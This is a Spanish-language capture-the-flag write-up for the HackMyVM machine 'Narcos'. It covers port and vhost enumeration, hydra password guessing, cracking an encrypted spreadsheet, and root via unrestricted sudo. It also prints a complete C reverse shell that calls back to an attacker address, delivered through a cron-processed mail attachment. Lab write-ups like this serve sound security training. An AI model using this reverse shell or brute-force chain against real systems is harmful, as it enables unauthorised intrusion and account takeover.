Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.27
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 01:44 -03
Nmap scan report for 192.168.1.27
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:ca:69:62:40:8f:bb:10:a2:49:06:30:74:83:9d:69 (RSA)
| 256 7b:25:91:f3:04:54:3d:c3:c2:44:9b:b7:00:b9:38:bb (ECDSA)
|_ 256 a8:23:a4:df:f8:e9:6a:8e:fe:74:38:fa:48:c7:59:df (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Escobar Store
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 secondsEnumeración web y Virtual Host Discovery
Enumeramos directorios con gobuster. Destaca /squirrelmail, el webmail que usaremos más adelante:
❯ gobuster dir -u 192.168.1.27 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/images (Status: 200) [Size: 1331]
/index.html (Status: 200) [Size: 11550]
/js (Status: 200) [Size: 954]
/squirrelmail (Status: 200) [Size: 2912]
/bootstrap (Status: 200) [Size: 1313]
...Al iniciar la máquina, HackMyVM nos entrega el dominio escobar.hmv, que añadimos a /etc/hosts. Fuzzeamos subdominios (vhosts) con wfuzz, filtrando por el tamaño de la respuesta por defecto (--hh 11550) para descartar el contenido idéntico al sitio principal:
❯ wfuzz -u 'http://escobar.hmv' -H 'Host: FUZZ.escobar.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 11550
...
000001030: 200 102 L 292 W 4245 Ch "management"
...File Browser, Password Guessing y crackeo del Excel
Accedemos a management.escobar.hmv y nos encontramos con un File Browser. El repositorio del proyecto define admin como usuario por defecto, pero esto no demuestra que la contraseña también sea predeterminada. Conservamos ese usuario conocido y realizamos Password Guessing únicamente sobre la contraseña mediante la API de login:
❯ hydra -l admin -P ~/Documentos/wordlists/rockyou.txt management.escobar.hmv http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Forbidden' -t 64
...
[80][http-post-form] host: management.escobar.hmv login: admin password: gabriela
...Dentro encontramos un logins.xlsx cifrado. Extraemos su hash con office2john y lo crackeamos con john:
❯ office2john logins.xlsx > hash
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
money1 (logins.xlsx)
...RCE mediante Cron Job Abuse en el procesamiento de correos
Accedemos al webmail (SquirrelMail) como gonzalo y descubrimos que una tarea cron procesa los adjuntos de los correos. El límite de confianza se rompe porque un archivo controlado desde el webmail termina siendo consumido por un proceso automatizado. Adjuntamos como update una reverse shell escrita en C:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "192.168.1.10"
#define REMOTE_PORT 4321
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}Lo compilamos de forma estática (-static) para evitar problemas de librerías en la víctima:
❯ gcc reverse_shell.c -o update -staticDejamos netcat a la escucha en nuestra máquina y esperamos. Cuando se dispara el cron, recibimos una shell como el usuario carlos y la primera flag.
Privilege Escalation mediante unrestricted sudo
Reutilizando las credenciales encontradas previamente, saltamos al usuario pablo. Revisamos qué puede ejecutar con sudo:
pablo@narcos:/home/carlos$ sudo -l
Matching Defaults entries for pablo on narcos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pablo may run the following commands on narcos:
(ALL : ALL) ALLLa regla permite a pablo ejecutar cualquier comando como cualquier usuario. Es el caso más amplio de abuso de una regla sudo, así que solo resta lanzar una shell con privilegios:
pablo@narcos:/home/carlos$ sudo bash -p
root@narcos:/home/carlos#Obtenemos la segunda flag.
Fin.